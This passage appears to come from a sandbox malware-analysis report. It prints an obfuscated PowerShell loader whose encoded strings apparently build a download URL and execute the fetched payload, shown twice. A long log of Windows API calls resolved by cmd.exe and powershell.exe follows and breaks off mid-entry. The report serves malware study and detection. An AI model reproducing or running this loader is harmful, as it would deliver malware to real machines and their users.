AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') ;$stonewall=$absorbere[$damevennernes72]}$pisistance=286507;$gudsn=29414;Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=^^^0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,^^uzzzt^^ iIIIo jjnAAA)');Irremovableness (Actinism ';;;$ ^^plllE^^^dLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)');Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)');Irremovableness $kristels;"" (UID: 00000000-00006720, Additional Context: "mv 'nonresilience'function Actinism ($radionecrosis252='garrafa'){ $futurable=3do { $befolkningseksplosions+=$radionecrosis252[$futurable]Actinism 'vvvM|||o y z & iVVVlWWWliiia////'+=Actinism ' ||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0'Irremovableness (Actinism ' vv$qqqpG GEww DMMMI OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR ccoA An O uuNX X9VVV5')Irremovableness (Actinism 'Z Z$FF p< >:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooovE tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)')Irremovableness (Actinism QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi Nhhhtooom>>>a ||N IIAmmmg E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S)Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[[Nullable[int]]0]Irremovableness ((Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre'))Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e < uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') Irremovableness Actinism ' DD$U Uf nnoAAArZZZvpppe ;;n ##t!!!eee l vvi .>gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)'Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***regggA vvD]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)')Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR ve! !.GGGcSSSo LLUBBBNTT T') Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn5 HHcD D2 VVvAAAw .oe EEidddaqqq5 **m HHdQ.QfSS inn xhhhseTTTt bug gtZZZ7???t iczzze=.=.HHHi zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi'=$absorbere[$damevennernes72]}$pisistance=286507Irremovableness (Actinism 'd d$KKKP kkexxxdn.nijjjPNNNA|||LpppPww S ff=0YY.; ? $JJJgXXXl// oFFFb %%a ;;l :::pp P|| rHHHEpp D<< >e ??6:: 4aa S&&&t ffrX Xi TTn???gPPP( dd$QQQp ++rYYYeIIIdaaaihh,s~~,ttttrUUUiEEEb,uzzzt iIIIo jjnAAA)')Irremovableness (Actinism ';;;$ plllEdLLLiVVVpi iaUUUlEEEppppsO.O=kkk0W W;yy $nnnG .gLS SoA ABzzzAVVVL jj:nnnFLLLRxxxE ccm A kO OoRRRm rrs ??T++ ejjjRz zsBB <<<= ZZ == [OOOT FFe fx:::T///.OOOe%%%nL LCp pO***d|||i s nOOOg ??] = :lll: ffAoooSq qcnnniX XiOOO.KKKgjj.e KKt?? s AAtXXXRwwwi.wwnSSSg bb(?? $yyyh###i d E WWRjjjNSS,e uu)')Irremovableness (Actinism ' QQ$***Prr EC.CD#.#I YYPLL A aaL tpgggsOOO=nnn0RRR;PPP$J JgiiiL UUOPPPB***A:: l F:YYYk FFr:::I sss!!!tSSSE~~~l QQS QQ=S S$k kFWWWR >>ELLLMq.qke.eo =.m ooshhhThhhEFFFRYYYSRRR..ccsRR.u%%%b dds ==t%%%rZZZi EENbbbG| |(ttt$kkkp aaIj.jsss.I%%%SlllTjjjarr.N dc UUeIII,ii $SSSGjjjudddDN,NSyyyNnnn)')Irremovableness $kristels;")4f:T1677e,"cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005600) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005600) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006720) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 